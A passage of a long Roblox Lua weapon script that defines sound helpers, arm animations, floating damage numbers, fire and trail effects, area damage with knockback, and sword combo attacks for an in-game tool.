| 7883 | coroutine.resume(coroutine.create(function() | |
| 7884 | wait() | |
| 7885 | SlashSound.Parent = nil | |
| 7886 | end)) | |
| 7887 | end | |
| 7888 | function fs(parent,p) --Fire Sound | |
| 7889 | local SlashSound = Instance.new("Sound")
| |
| 7890 | SlashSound.SoundId = "http://www.roblox.com/asset/?id=31758982" | |
| 7891 | SlashSound.Parent = parent | |
| 7892 | SlashSound.Volume = .7 | |
| 7893 | SlashSound.Pitch = p | |
| 7894 | SlashSound.PlayOnRemove = true | |
| 7895 | coroutine.resume(coroutine.create(function() | |
| 7896 | wait() | |
| 7897 | SlashSound.Parent = nil | |
| 7898 | end)) | |
| 7899 | end | |
| 7900 | function bs(parent,p) --Boom Sound | |
| 7901 | local SlashSound = Instance.new("Sound")
| |
| 7902 | SlashSound.SoundId = "rbxasset://sounds/Rocket shot.wav" | |
| 7903 | SlashSound.Parent = parent | |
| 7904 | SlashSound.Volume = .7 | |
| 7905 | SlashSound.Pitch = p | |
| 7906 | SlashSound.PlayOnRemove = true | |
| 7907 | coroutine.resume(coroutine.create(function() | |
| 7908 | wait() | |
| 7909 | SlashSound.Parent = nil | |
| 7910 | end)) | |
| 7911 | end | |
| 7912 | -- | |
| 7913 | ||
| 7914 | ||
| 7915 | function hideanim() | |
| 7916 | attack = true | |
| 7917 | for i = 0 , 1 , 0.2 do | |
| 7918 | wait() | |
| 7919 | RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+67*i), math.rad(45), math.rad(-45+90*i)) | |
| 7920 | LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45-45*i)) | |
| 7921 | end | |
| 7922 | LWRem() | |
| 7923 | for i = 0 , 1 , 0.15 do | |
| 7924 | wait() | |
| 7925 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147+103*i), math.rad(45), math.rad(45-35*i)) | |
| 7926 | end | |
| 7927 | unequipweld() | |
| 7928 | wait(0.1) | |
| 7929 | for i = 0 , 1 , 0.1 do | |
| 7930 | wait() | |
| 7931 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250-250*i), math.rad(45-45*i), math.rad(10-10*i)) | |
| 7932 | end | |
| 7933 | RWRem() | |
| 7934 | attack = false | |
| 7935 | end | |
| 7936 | ||
| 7937 | function equipanim() | |
| 7938 | attack = true | |
| 7939 | RWFunc() | |
| 7940 | for i = 0 , 1 , 0.1 do | |
| 7941 | wait() | |
| 7942 | RW.C0 = CFrame.new(1.5,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250*i), math.rad(45*i), math.rad(-10*i)) | |
| 7943 | end | |
| 7944 | equipweld() | |
| 7945 | uss(Head,1) | |
| 7946 | for i = 0 , 1 , 0.2 do | |
| 7947 | wait() | |
| 7948 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(250-102.5*i), math.rad(45), math.rad(-10+27.5*i)) | |
| 7949 | end | |
| 7950 | for i = 0 , 1 , 0.15 do | |
| 7951 | wait() | |
| 7952 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147-67*i), math.rad(45), math.rad(17.5+27.5*i)) | |
| 7953 | end | |
| 7954 | LWFunc() | |
| 7955 | for i = 0 , 1 , 0.1 do | |
| 7956 | wait() | |
| 7957 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(45-90*i)) | |
| 7958 | LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45*i)) | |
| 7959 | end | |
| 7960 | attack = false | |
| 7961 | end | |
| 7962 | ||
| 7963 | if (script.Parent.className ~= "HopperBin") then | |
| 7964 | Tool = Instance.new("HopperBin")
| |
| 7965 | Tool.Parent = Backpack | |
| 7966 | Tool.Name = ToolName | |
| 7967 | script.Parent = Tool | |
| 7968 | end | |
| 7969 | Bin = script.Parent | |
| 7970 | ||
| 7971 | function damagesplat(dmg,hit,critornot,healornot) | |
| 7972 | local OffsetX = -2.5 | |
| 7973 | local OffsetY = 5 | |
| 7974 | local OffsetZ = 0 | |
| 7975 | local bill = Instance.new("BillboardGui")
| |
| 7976 | bill.Size = UDim2.new(1,0,1,0) | |
| 7977 | bill.Adornee = hit | |
| 7978 | bill.StudsOffset = Vector3.new(OffsetX,OffsetY,OffsetZ) | |
| 7979 | bill.Parent = hit.Parent | |
| 7980 | bill.Name = "DamageSplat" | |
| 7981 | local tex = Instance.new("TextLabel")
| |
| 7982 | tex.Size = UDim2.new(5,0,2.5,0) | |
| 7983 | tex.Parent = bill | |
| 7984 | tex.Text = dmg | |
| 7985 | tex.BackgroundTransparency = 1 | |
| 7986 | tex.ZIndex = 4 | |
| 7987 | tex.FontSize = "Size24" | |
| 7988 | local tex2 = Instance.new("ImageLabel")
| |
| 7989 | tex2.Size = UDim2.new(1,0,1,0) | |
| 7990 | tex2.Parent = tex | |
| 7991 | tex2.BackgroundTransparency = 1 | |
| 7992 | tex2.Image = "http://www.roblox.com/asset/?id=42611276" | |
| 7993 | if critornot == true then | |
| 7994 | tex.TextColor3 = Color3.new(1,0.2,0.2) | |
| 7995 | elseif critornot == false then | |
| 7996 | tex.TextColor3 = Color3.new(0,0,0) | |
| 7997 | end | |
| 7998 | if healornot == true then | |
| 7999 | tex.TextColor3 = Color3.new(0.2,0.5,0.5) | |
| 8000 | end | |
| 8001 | coroutine.resume(coroutine.create(function() | |
| 8002 | wait(0.25) | |
| 8003 | for i = 0 , 1 , 0.075 do | |
| 8004 | wait() | |
| 8005 | bill.StudsOffset = Vector3.new(OffsetX,OffsetY+5*i,OffsetZ) | |
| 8006 | tex.TextTransparency = 1*i | |
| 8007 | end | |
| 8008 | bill.Parent = nil | |
| 8009 | end)) | |
| 8010 | end | |
| 8011 | function FireEff(Part,Time,Color1,Color2,Color3) | |
| 8012 | local Firee = Part | |
| 8013 | local Spawn = Part | |
| 8014 | local colors = {}
| |
| 8015 | if Color1 ~= nil then | |
| 8016 | table.insert(colors,BrickColor.new(Color1)) | |
| 8017 | end | |
| 8018 | if Color2 ~= nil then | |
| 8019 | table.insert(colors,BrickColor.new(Color2)) | |
| 8020 | end | |
| 8021 | if Color3 ~= nil then | |
| 8022 | table.insert(colors,BrickColor.new(Color3)) | |
| 8023 | end | |
| 8024 | if Color4 ~= nil then | |
| 8025 | table.insert(colors,BrickColor.new(Color4)) | |
| 8026 | end | |
| 8027 | local Embers = {}
| |
| 8028 | local modelz = Instance.new("Model",Firee)
| |
| 8029 | modelz.Name = "FireHolder" | |
| 8030 | for X = 1, 3 do | |
| 8031 | local f = Instance.new("Part")
| |
| 8032 | f.Parent = nil | |
| 8033 | f.BrickColor = colors[math.random(1, # colors)] | |
| 8034 | f.Size = Vector3.new(1,1,1) | |
| 8035 | f.formFactor = 1 | |
| 8036 | f.Anchored = true | |
| 8037 | f.Locked = true | |
| 8038 | f.CanCollide = false | |
| 8039 | f.Transparency = 0.5 | |
| 8040 | f.Name = "Fire" | |
| 8041 | f.TopSurface = 0 | |
| 8042 | f.BottomSurface = 0 | |
| 8043 | table.insert(Embers, f) | |
| 8044 | end | |
| 8045 | local R = 0 | |
| 8046 | coroutine.resume(coroutine.create(function () | |
| 8047 | repeat | |
| 8048 | wait() | |
| 8049 | R = R + 1 | |
| 8050 | for X = 1, # Embers do | |
| 8051 | Embers[X].Parent = modelz | |
| 8052 | local FM = math.fmod(R + X, # Embers) | |
| 8053 | if FM == 1 then | |
| 8054 | RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10) | |
| 8055 | RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100)) | |
| 8056 | Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, Spawn.Position + RandPos + RandDir) | |
| 8057 | else | |
| 8058 | Embers[X].CFrame = CFrame.new(Embers[X].Position + Vector3.new(0,0.5,0), Embers[X].Position + Vector3.new(0,0.5,0) + Embers[X].CFrame.lookVector) | |
| 8059 | end | |
| 8060 | end | |
| 8061 | until R == Time | |
| 8062 | for i = 0 ,1 , 0.1 do | |
| 8063 | wait(0.2) | |
| 8064 | for X = 1, # Embers do | |
| 8065 | Embers[X].Transparency = 0.5+0.5*i | |
| 8066 | end | |
| 8067 | end | |
| 8068 | for X = 1, # Embers do | |
| 8069 | Embers[X].Parent = nil | |
| 8070 | end | |
| 8071 | end)) | |
| 8072 | end | |
| 8073 | ||
| 8074 | function OT(hit) --Normal Damage | |
| 8075 | if Hitdeb == 1 then return end | |
| 8076 | if hit.Parent == nil then return end | |
| 8077 | local hum = hit.Parent:findFirstChild("Humanoid")
| |
| 8078 | if hum ~= nil and hum ~= Character.Humanoid then | |
| 8079 | local critrandomizer = math.random(1,crtrate) | |
| 8080 | if critrandomizer ~= 1 then | |
| 8081 | local rndmdamage = math.random(mindamage,maxdamage) | |
| 8082 | damagesplat(rndmdamage,hit,false) | |
| 8083 | hum:TakeDamage(rndmdamage) | |
| 8084 | elseif critrandomizer == 1 then | |
| 8085 | local rndmdamage = math.random(maxdamage,crtmaxdamage) | |
| 8086 | damagesplat(rndmdamage,hit,true) | |
| 8087 | hum:TakeDamage(rndmdamage) | |
| 8088 | end | |
| 8089 | Hitdeb = 1 | |
| 8090 | end | |
| 8091 | end | |
| 8092 | ||
| 8093 | function OTND(part) --No Debounce Damage | |
| 8094 | coroutine.resume(coroutine.create(function() | |
| 8095 | local dd = false | |
| 8096 | while part.Parent ~= nil and not dd do | |
| 8097 | wait() | |
| 8098 | local c = game.Workspace:GetChildren(); | |
| 8099 | for i = 1, #c do | |
| 8100 | local hum = c[i]:findFirstChild("Humanoid")
| |
| 8101 | if hum ~= nil and hum.Health ~= 0 then | |
| 8102 | local head = c[i]:findFirstChild("Torso");
| |
| 8103 | if head ~= nil then | |
| 8104 | local targ = head.Position - part.Position; ------------------------------------------------Local | |
| 8105 | local mag = targ.magnitude; | |
| 8106 | if mag <= 5 and c[i].Name ~= Player.Name then | |
| 8107 | dd = true | |
| 8108 | local rndmdamage = math.random(1,7+5*math.random()) + fireboost | |
| 8109 | damagesplat(rndmdamage,head,false) | |
| 8110 | hum:TakeDamage(rndmdamage) | |
| 8111 | FireEff(head,150,"Bright red","Bright orange","Cool yellow") | |
| 8112 | part.Parent = nil | |
| 8113 | ||
| 8114 | end | |
| 8115 | end | |
| 8116 | end | |
| 8117 | end | |
| 8118 | end | |
| 8119 | end)) | |
| 8120 | end | |
| 8121 | ||
| 8122 | function AoE(p,magnitude,damage,critornot) | |
| 8123 | local c = game.Workspace:GetChildren(); | |
| 8124 | for i = 1, #c do | |
| 8125 | local hum = c[i]:findFirstChild("Humanoid")
| |
| 8126 | if hum ~= nil and hum.Health ~= 0 then | |
| 8127 | local head = c[i]:findFirstChild("Head");
| |
| 8128 | if head ~= nil then | |
| 8129 | local targ = head.Position - p; | |
| 8130 | local mag = targ.magnitude; | |
| 8131 | if mag <= magnitude and c[i].Name ~= Character.Name then | |
| 8132 | local foundd = false | |
| 8133 | for ii = 1 , #AoETrue do | |
| 8134 | if AoETrue[ii] == c[i].Name then | |
| 8135 | --delay(1,function() table.remove(AoETrue,ii) end) | |
| 8136 | --blast(2.5,0.5,"Bright red",prt2,false) | |
| 8137 | foundd = true | |
| 8138 | end | |
| 8139 | end | |
| 8140 | if foundd then | |
| 8141 | end | |
| 8142 | -- | |
| 8143 | if not foundd then | |
| 8144 | hum:TakeDamage(damage) | |
| 8145 | damagesplat(damage,head,critornot) | |
| 8146 | table.insert(AoETrue,c[i].Name) | |
| 8147 | --blast(2.5,0.5,"Bright red",prt2) | |
| 8148 | end | |
| 8149 | end | |
| 8150 | end | |
| 8151 | end | |
| 8152 | end | |
| 8153 | end | |
| 8154 | function AoEP(p,magnitude,damage,critornot) | |
| 8155 | local c = game.Workspace:GetChildren(); | |
| 8156 | for i = 1, #c do | |
| 8157 | local hum = c[i]:findFirstChild("Humanoid")
| |
| 8158 | if hum ~= nil and hum.Health ~= 0 then | |
| 8159 | local head = c[i]:findFirstChild("Head");
| |
| 8160 | if head ~= nil then | |
| 8161 | local targ = head.Position - p; | |
| 8162 | local mag = targ.magnitude; | |
| 8163 | if mag <= magnitude and c[i].Name ~= Character.Name then | |
| 8164 | local foundd = false | |
| 8165 | for ii = 1 , #AoETrue do | |
| 8166 | if AoETrue[ii] == c[i].Name then | |
| 8167 | --delay(1,function() table.remove(AoETrue,ii) end) | |
| 8168 | --blast(2.5,0.5,"Bright red",prt2,false) | |
| 8169 | foundd = true | |
| 8170 | end | |
| 8171 | end | |
| 8172 | if foundd then | |
| 8173 | end | |
| 8174 | -- | |
| 8175 | if not foundd then | |
| 8176 | hum:TakeDamage(damage) | |
| 8177 | damagesplat(damage,head,critornot) | |
| 8178 | c[i].Humanoid.Sit = true | |
| 8179 | coroutine.resume(coroutine.create(function() | |
| 8180 | local bp = Instance.new("BodyVelocity",c[i].Torso)
| |
| 8181 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
| 8182 | bp.P = bp.P*2 | |
| 8183 | bp.velocity = CFrame.new(c[i].Torso.Position , p).lookVector * 150 + Vector3.new(0,25,0) | |
| 8184 | coroutine.resume(coroutine.create(function() | |
| 8185 | for i=1, | |
| 8186 | bp.velocity.y/3 do | |
| 8187 | bp.velocity = bp.velocity+Vector3.new(0,-4.25,0) | |
| 8188 | wait() | |
| 8189 | end | |
| 8190 | bp.Parent = nil | |
| 8191 | end)) | |
| 8192 | c[i].Torso.RotVelocity = CFrame.new(c[i].Torso.Position , p).lookVector * 25 | |
| 8193 | wait(0.4) c[i].Humanoid.Sit = false end)) | |
| 8194 | table.insert(AoETrue,c[i].Name) | |
| 8195 | end | |
| 8196 | end | |
| 8197 | end | |
| 8198 | end | |
| 8199 | end | |
| 8200 | end | |
| 8201 | -- | |
| 8202 | ||
| 8203 | local LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8204 | function effect(Color,Ref,LP,P1,returnn) | |
| 8205 | local effectsmsh = Instance.new("BlockMesh")
| |
| 8206 | effectsmsh.Scale = Vector3.new(0.5,1,0.5) | |
| 8207 | effectsmsh.Name = "Mesh" | |
| 8208 | local effectsg = Instance.new("Part")
| |
| 8209 | effectsg.formFactor = 3 | |
| 8210 | effectsg.CanCollide = false | |
| 8211 | effectsg.Name = "Eff" | |
| 8212 | effectsg.Locked = true | |
| 8213 | effectsg.Anchored = true | |
| 8214 | effectsg.Size = Vector3.new(0.2,1,0.2) | |
| 8215 | effectsg.Parent = swordholder | |
| 8216 | effectsmsh.Parent = effectsg | |
| 8217 | effectsg.BrickColor = BrickColor.new(Color) | |
| 8218 | effectsg.Reflectance = Ref | |
| 8219 | local point1 = P1 | |
| 8220 | local mg = (LP.p - point1.p).magnitude | |
| 8221 | effectsg.Size = Vector3.new(0.2,mg,0.2) | |
| 8222 | effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0) | |
| 8223 | if returnn then return effectsg end | |
| 8224 | coroutine.resume(coroutine.create(function() | |
| 8225 | if not returnn then | |
| 8226 | for i = 0 , 1 , 0.1 do | |
| 8227 | wait() | |
| 8228 | effectsg.Transparency = 1*i | |
| 8229 | end | |
| 8230 | wait() | |
| 8231 | effectsg.Parent = nil | |
| 8232 | end | |
| 8233 | end)) | |
| 8234 | end | |
| 8235 | ||
| 8236 | con = nil | |
| 8237 | function dmgcnnct(p) | |
| 8238 | con = p.Touched:connect(OT) | |
| 8239 | end | |
| 8240 | function dmgdc() | |
| 8241 | if con ~= nil then | |
| 8242 | con:disconnect() | |
| 8243 | Hitdeb = 0 | |
| 8244 | end | |
| 8245 | end | |
| 8246 | function atktype(s,e) | |
| 8247 | coroutine.resume(coroutine.create(function () | |
| 8248 | attacktype = e | |
| 8249 | wait(0.5) | |
| 8250 | repeat wait() until attack | |
| 8251 | attacktype = s | |
| 8252 | end)) | |
| 8253 | end | |
| 8254 | ||
| 8255 | hold = false | |
| 8256 | function Combo1a() | |
| 8257 | attack=true | |
| 8258 | for i = 0 , 1 , 0.1 do | |
| 8259 | wait() | |
| 8260 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+45*i)) | |
| 8261 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(10*i), math.rad(0)) | |
| 8262 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45+45*i),math.rad(45-20*i)) | |
| 8263 | end | |
| 8264 | dmgcnnct(hitbox) | |
| 8265 | ss(Head,1.5) | |
| 8266 | for i = 0 , 1 , 0.2 do | |
| 8267 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8268 | wait() | |
| 8269 | RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
| 8270 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10+35*i), math.rad(0)) | |
| 8271 | LW.C0 = CFrame.new(-1+1*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(25+65*i)) | |
| 8272 | effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8273 | end | |
| 8274 | dmgdc() | |
| 8275 | for i = 0 , 1 , 0.2 do | |
| 8276 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8277 | wait() | |
| 8278 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
| 8279 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(45+5*i), math.rad(0)) | |
| 8280 | LW.C0 = CFrame.new(-0.25*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(90+10*i)) | |
| 8281 | effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8282 | end | |
| 8283 | attacktype = 2 | |
| 8284 | coroutine.resume(coroutine.create(function () | |
| 8285 | wait(0.25) | |
| 8286 | attacktype = 1 | |
| 8287 | end)) | |
| 8288 | attack=false | |
| 8289 | wait(0.15) | |
| 8290 | wait() | |
| 8291 | for i = 0 , 1 , 0.1 do | |
| 8292 | if not attack then | |
| 8293 | wait() | |
| 8294 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i)) | |
| 8295 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-110*i), math.rad(50-50*i), math.rad(0)) | |
| 8296 | LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(100-55*i)) | |
| 8297 | end | |
| 8298 | end | |
| 8299 | ||
| 8300 | end | |
| 8301 | function Combo1b() | |
| 8302 | attack=true | |
| 8303 | for i = 0 , 1 , 0.1 do | |
| 8304 | wait() | |
| 8305 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
| 8306 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-155*i), math.rad(50-40*i), math.rad(0)) | |
| 8307 | LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(100-50*i)) | |
| 8308 | end | |
| 8309 | ||
| 8310 | cs(Head,1.5) | |
| 8311 | local tempmod = Instance.new("Model",swordholder)
| |
| 8312 | for l = 1 , 20 do | |
| 8313 | local meshz = Instance.new("SpecialMesh")
| |
| 8314 | meshz.Scale = Vector3.new(0.5,0.5,0.5) | |
| 8315 | meshz.MeshType = "Sphere" | |
| 8316 | local shellz = Instance.new("Part")
| |
| 8317 | meshz.Parent = shellz | |
| 8318 | shellz.Anchored = false | |
| 8319 | shellz.formFactor = 0 | |
| 8320 | shellz.Size = Vector3.new(1,1,1) | |
| 8321 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) | |
| 8322 | shellz.Parent = tempmod | |
| 8323 | shellz.Transparency = 0.5 | |
| 8324 | shellz.BrickColor = BrickColor.new("Bright violet")
| |
| 8325 | shellz.CanCollide = false | |
| 8326 | shellz.Reflectance = 0.25 | |
| 8327 | local bv = Instance.new("BodyPosition")
| |
| 8328 | bv.Parent = shellz | |
| 8329 | bv.maxForce = Vector3.new(200000,200000,200000) | |
| 8330 | bv.position = shellz.Position | |
| 8331 | coroutine.resume(coroutine.create(function() | |
| 8332 | for i = 0 , 1 , 0.025 do | |
| 8333 | wait() | |
| 8334 | shellz.Transparency = 1-1*i | |
| 8335 | end | |
| 8336 | shellz.Transparency = 0 | |
| 8337 | end)) | |
| 8338 | coroutine.resume(coroutine.create(function() | |
| 8339 | wait(0.05) | |
| 8340 | bv.position = hitbox.Position | |
| 8341 | for i = 1 , 20 do | |
| 8342 | wait(0.1) | |
| 8343 | bv.position = shell.Position | |
| 8344 | end | |
| 8345 | shellz.Parent = nil | |
| 8346 | end)) | |
| 8347 | wait(0.01) | |
| 8348 | end | |
| 8349 | coroutine.resume(coroutine.create(function () | |
| 8350 | wait(0.25) | |
| 8351 | tempmod.Parent = nil | |
| 8352 | end)) | |
| 8353 | for i = 0 , 1 , 0.2 do | |
| 8354 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8355 | wait() | |
| 8356 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
| 8357 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10), math.rad(0)) | |
| 8358 | LW.C0 = CFrame.new(-1+1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(50+40*i)) | |
| 8359 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8360 | end | |
| 8361 | local gyro = Instance.new("BodyGyro")
| |
| 8362 | gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
| 8363 | gyro.P = gyro.P + 10000 | |
| 8364 | local CF = Torso.CFrame | |
| 8365 | gyro.cframe = CF | |
| 8366 | gyro.Parent = Torso | |
| 8367 | dmgcnnct(hitbox) | |
| 8368 | ss(Head,1) | |
| 8369 | for i = 0 , 1 , 0.1 do | |
| 8370 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8371 | wait() | |
| 8372 | gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0) | |
| 8373 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8374 | end | |
| 8375 | ss(Head,1) | |
| 8376 | Hitdeb = 0 | |
| 8377 | for i = 0 , 1 , 0.1 do | |
| 8378 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8379 | wait() | |
| 8380 | gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0) | |
| 8381 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8382 | end | |
| 8383 | dmgdc() | |
| 8384 | attacktype = 3 | |
| 8385 | coroutine.resume(coroutine.create(function () | |
| 8386 | wait(0.5) | |
| 8387 | attacktype = 1 | |
| 8388 | end)) | |
| 8389 | wait(0.15) | |
| 8390 | wait() | |
| 8391 | gyro.Parent = nil | |
| 8392 | attack=false | |
| 8393 | for i = 0 , 1 , 0.1 do | |
| 8394 | if not attack then | |
| 8395 | wait() | |
| 8396 | RW.C0 = CFrame.new(0.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i)) | |
| 8397 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0)) | |
| 8398 | LW.C0 = CFrame.new(0.5-1.5*i,0.5,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(50-5*i)) | |
| 8399 | end | |
| 8400 | end | |
| 8401 | end | |
| 8402 | ||
| 8403 | function Combo1c() | |
| 8404 | attack=true | |
| 8405 | local bp = Instance.new("BodyPosition")
| |
| 8406 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
| 8407 | bp.P = bp.P + 10000 | |
| 8408 | local CF = Torso.CFrame | |
| 8409 | bp.position = CF.p | |
| 8410 | bp.Parent = Torso | |
| 8411 | RWLFunc() | |
| 8412 | LWLFunc() | |
| 8413 | for zz = 1 , 2 do | |
| 8414 | local mesh = Instance.new("SpecialMesh")
| |
| 8415 | mesh.MeshType = "FileMesh" | |
| 8416 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
| 8417 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
| 8418 | local shell = Instance.new("Part")
| |
| 8419 | mesh.Parent = shell | |
| 8420 | shell.Anchored = true | |
| 8421 | shell.formFactor = 1 | |
| 8422 | shell.Size = Vector3.new(1,1,1) | |
| 8423 | shell.CFrame = Torso.CFrame * CFrame.Angles(0,0.5*zz,0) + Vector3.new(0,-2.5,0) -- + shellspawn.CFrame.lookVector * 2 | |
| 8424 | shell.Parent = swordholder | |
| 8425 | shell.Transparency = 0 | |
| 8426 | shell.BrickColor = BrickColor.new("White")
| |
| 8427 | shell.CanCollide = false | |
| 8428 | coroutine.resume(coroutine.create(function() | |
| 8429 | for i = 0 , 1 , 0.05 do | |
| 8430 | wait() | |
| 8431 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i) | |
| 8432 | shell.Transparency = 1*i | |
| 8433 | end | |
| 8434 | shell.Transparency = 1 | |
| 8435 | shell.Parent = nil | |
| 8436 | end)) | |
| 8437 | end | |
| 8438 | for i = 0 , 1 , 0.1 do | |
| 8439 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8440 | wait() | |
| 8441 | RW.C0 = CFrame.new(0.5+0.5*i,0.5+1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i), math.rad(90-90*i), math.rad(-45*i)) | |
| 8442 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0)) | |
| 8443 | LW.C0 = CFrame.new(0.5-1.5*i,0.5+1*i,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i),math.rad(0),math.rad(50-5*i)) | |
| 8444 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 8445 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
| 8446 | bp.position = CF.p + Vector3.new(0,10,0) | |
| 8447 | RWL.C0 = CFrame.new(1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0)) | |
| 8448 | LWL.C0 = CFrame.new(-1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0)) | |
| 8449 | prt8.Transparency = 1-1*i | |
| 8450 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8451 | end | |
| 8452 | cs(Head,1.5) | |
| 8453 | coroutine.resume(coroutine.create(function () | |
| 8454 | local tempmod = Instance.new("Model",swordholder)
| |
| 8455 | for l = 1 , 20 do | |
| 8456 | local meshz = Instance.new("SpecialMesh")
| |
| 8457 | meshz.Scale = Vector3.new(1.5,1.5,1.5) | |
| 8458 | meshz.MeshType = "Sphere" | |
| 8459 | local shellz = Instance.new("Part")
| |
| 8460 | meshz.Parent = shellz | |
| 8461 | shellz.Anchored = false | |
| 8462 | shellz.formFactor = 0 | |
| 8463 | shellz.Size = Vector3.new(1,1,1) | |
| 8464 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-15,15),math.random(-15,15),math.random(-15,15)) | |
| 8465 | shellz.Parent = tempmod | |
| 8466 | shellz.Transparency = 0.5 | |
| 8467 | shellz.BrickColor = BrickColor.new("Really black")
| |
